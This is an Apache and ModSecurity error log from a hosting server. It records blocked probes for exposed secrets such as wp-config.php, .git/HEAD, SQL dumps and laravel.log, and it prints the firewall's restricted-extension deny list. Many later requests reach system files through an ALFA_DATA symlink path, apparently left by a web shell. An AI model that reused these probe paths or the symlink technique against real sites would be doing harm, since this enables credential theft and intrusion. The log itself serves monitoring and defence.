[Tue Oct 27 04:54:33.075824 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "auBmyZVvqGtwGAy54pYOAQAAAA0"]
[Tue Oct 27 04:54:33.076093 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "auBmyZVvqGtwGAy54pYOAQAAAA0"]
[Tue Oct 27 04:54:33.178964 2026] [authz_core:error] [pid 3175284:tid 3175284] [client 91.148.245.81:49022] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 04:54:33.453193 2026] [security2:error] [pid 3201648:tid 3201648] [client 91.148.245.81:49010] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "arg2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auBmySRZUkZtsPsHe3i2MgAAAA4"]
[Tue Oct 27 04:54:33.453521 2026] [security2:error] [pid 3201648:tid 3201648] [client 91.148.245.81:49010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auBmySRZUkZtsPsHe3i2MgAAAA4"]
[Tue Oct 27 04:54:33.453879 2026] [security2:error] [pid 3201648:tid 3201648] [client 91.148.245.81:49010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "arg2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auBmySRZUkZtsPsHe3i2MgAAAA4"]
[Tue Oct 27 04:54:33.598278 2026] [security2:error] [pid 3201648:tid 3201648] [client 91.148.245.81:49010] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "arg2.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "auBmySRZUkZtsPsHe3i2MwAAAA4"]
[Tue Oct 27 04:54:33.598650 2026] [security2:error] [pid 3201648:tid 3201648] [client 91.148.245.81:49010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg2.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "auBmySRZUkZtsPsHe3i2MwAAAA4"]
[Tue Oct 27 04:54:33.598998 2026] [security2:error] [pid 3201648:tid 3201648] [client 91.148.245.81:49010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "arg2.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "auBmySRZUkZtsPsHe3i2MwAAAA4"]
[Tue Oct 27 04:54:33.637890 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "arg1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBmyZVvqGtwGAy54pYOAwAAAA0"]
[Tue Oct 27 04:54:33.638035 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBmyZVvqGtwGAy54pYOAwAAAA0"]
[Tue Oct 27 04:54:33.638263 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBmyZVvqGtwGAy54pYOAwAAAA0"]
[Tue Oct 27 04:54:33.638536 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBmyZVvqGtwGAy54pYOAwAAAA0"]
[Tue Oct 27 04:54:33.841423 2026] [security2:error] [pid 3201648:tid 3201648] [client 91.148.245.81:49010] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "arg2.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "auBmySRZUkZtsPsHe3i2NQAAAA4"]
[Tue Oct 27 04:54:33.841701 2026] [security2:error] [pid 3201648:tid 3201648] [client 91.148.245.81:49010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg2.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "auBmySRZUkZtsPsHe3i2NQAAAA4"]
[Tue Oct 27 04:54:33.842030 2026] [security2:error] [pid 3201648:tid 3201648] [client 91.148.245.81:49010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "arg2.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "auBmySRZUkZtsPsHe3i2NQAAAA4"]
[Tue Oct 27 04:54:33.962271 2026] [security2:error] [pid 3201648:tid 3201648] [client 91.148.245.81:49010] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg2.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "auBmySRZUkZtsPsHe3i2NgAAAA4"]
[Tue Oct 27 04:54:33.962509 2026] [security2:error] [pid 3201648:tid 3201648] [client 91.148.245.81:49010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg2.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "auBmySRZUkZtsPsHe3i2NgAAAA4"]
[Tue Oct 27 04:54:33.962825 2026] [security2:error] [pid 3201648:tid 3201648] [client 91.148.245.81:49010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg2.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "auBmySRZUkZtsPsHe3i2NgAAAA4"]
[Tue Oct 27 04:54:40.356434 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 98.83.94.113:7021] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:54:47.757923 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 3.89.176.255:54441] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:54:55.562523 2026] [security2:error] [pid 3201641:tid 3201641] [client 16.216.88.169:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/ruid2.conf"] [unique_id "auBm3x6MTIKaGGLTiEIYfwAAAAc"]
[Tue Oct 27 04:54:55.563261 2026] [security2:error] [pid 3201641:tid 3201641] [client 16.216.88.169:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/ruid2.conf"] [unique_id "auBm3x6MTIKaGGLTiEIYfwAAAAc"]
[Tue Oct 27 04:54:55.563631 2026] [security2:error] [pid 3201641:tid 3201641] [client 16.216.88.169:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/ruid2.conf"] [unique_id "auBm3x6MTIKaGGLTiEIYfwAAAAc"]
[Tue Oct 27 04:54:58.893892 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 185.191.171.7:26848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/destroy_by_rcu
[Tue Oct 27 04:54:59.967182 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 3.230.224.6:22109] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:55:11.895659 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 34.196.6.199:7111] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:55:15.774870 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.54.95.127:45357] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:55:20.012713 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 34.194.165.45:55619] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:55:24.400797 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 85.208.96.202:21926] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:55:27.784013 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 23.23.180.225:35941] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:55:31.951013 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.23.112.144:7373] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:55:35.809373 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 54.85.126.86:26177] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:55:40.027262 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 50.16.216.166:2899] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:03/physical_node/driver/0000:00:02.0/graphics/fb0/device/subsystem/slots/13/module/uevent
[Tue Oct 27 04:55:55.983702 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 3.94.156.104:7016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/physical_node/subsystem/drivers/system/unbind
[Tue Oct 27 04:56:03.829911 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 23.20.178.124:34079] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:56:03.940078 2026] [core:error] [pid 3201648:tid 3201648] (13)Permission denied: [client 16.216.88.112:51200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/blocked_incoming_email_domains
[Tue Oct 27 04:56:03.940603 2026] [security2:error] [pid 3201648:tid 3201648] [client 16.216.88.112:51200] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/blocked_incoming_email_domains"] [unique_id "auBnIyRZUkZtsPsHe3i2OwAAAA4"]
[Tue Oct 27 04:56:03.940627 2026] [security2:error] [pid 3201648:tid 3201648] [client 16.216.88.112:51200] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/blocked_incoming_email_domains"] [unique_id "auBnIyRZUkZtsPsHe3i2OwAAAA4"]
[Tue Oct 27 04:56:11.901207 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 23.23.103.31:55537] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:56:20.275699 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 185.191.171.18:38412] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:56:27.644644 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 52.203.65.83:3946] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:56:28.104732 2026] [core:error] [pid 3201646:tid 3201646] (13)Permission denied: [client 216.244.66.250:57826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/System.map-4.18.0-553.58.1.el8_10.x86_64
[Tue Oct 27 04:56:51.977832 2026] [core:error] [pid 3201646:tid 3201646] (13)Permission denied: [client 34.231.181.240:25719] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/driver/module/sections/__param
[Tue Oct 27 04:56:53.615210 2026] [core:error] [pid 3201655:tid 3201655] (13)Permission denied: [client 85.208.96.203:32488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/trace
[Tue Oct 27 04:56:55.741399 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 44.205.180.155:29992] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:56:59.893327 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 54.235.172.96:55943] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:57:03.810731 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 18.232.36.1:8094] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:57:07.727489 2026] [core:error] [pid 3201648:tid 3201648] (13)Permission denied: [client 54.152.163.42:30242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/resource0_wc
[Tue Oct 27 04:57:19.466477 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 185.191.171.16:30788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/objects_partial
[Tue Oct 27 04:57:19.896164 2026] [core:error] [pid 3201653:tid 3201653] (13)Permission denied: [client 98.82.63.147:56119] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/device:18/eject
[Tue Oct 27 04:57:27.724453 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 44.215.235.20:16304] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:57:31.943728 2026] [core:error] [pid 3201648:tid 3201648] (13)Permission denied: [client 85.208.96.200:21740] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uhci_urb_priv/free_calls
[Tue Oct 27 04:57:36.184433 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 3.219.81.66:18456] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:57:39.728800 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.147.80.137:15917] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:57:47.764853 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 54.152.163.42:11212] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:57:51.870869 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 18.214.186.220:28847] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:57:59.767863 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 3.221.156.96:34643] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:58:03.817484 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 44.215.231.15:33366] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:58:08.034543 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 34.233.219.155:53535] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:58:20.002372 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 18.214.238.178:11791] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:58:23.804354 2026] [core:error] [pid 3201648:tid 3201648] (13)Permission denied: [client 54.92.171.106:39670] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/driver/module/sections/__bug_table
[Tue Oct 27 04:58:27.915380 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.1.157.90:44119] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:58:35.854599 2026] [core:error] [pid 3201641:tid 3201641] (13)Permission denied: [client 44.215.210.112:40351] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/subsystem/devices/memory20/node0/cpu1/crash_notes
[Tue Oct 27 04:58:40.472841 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 44.212.131.50:35484] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:58:43.781472 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 3.231.193.38:12127] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:58:55.764262 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 54.90.8.255:36362] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:58:59.704437 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 3.222.190.107:6676] AH02013: coalesce failed to read from data bucket
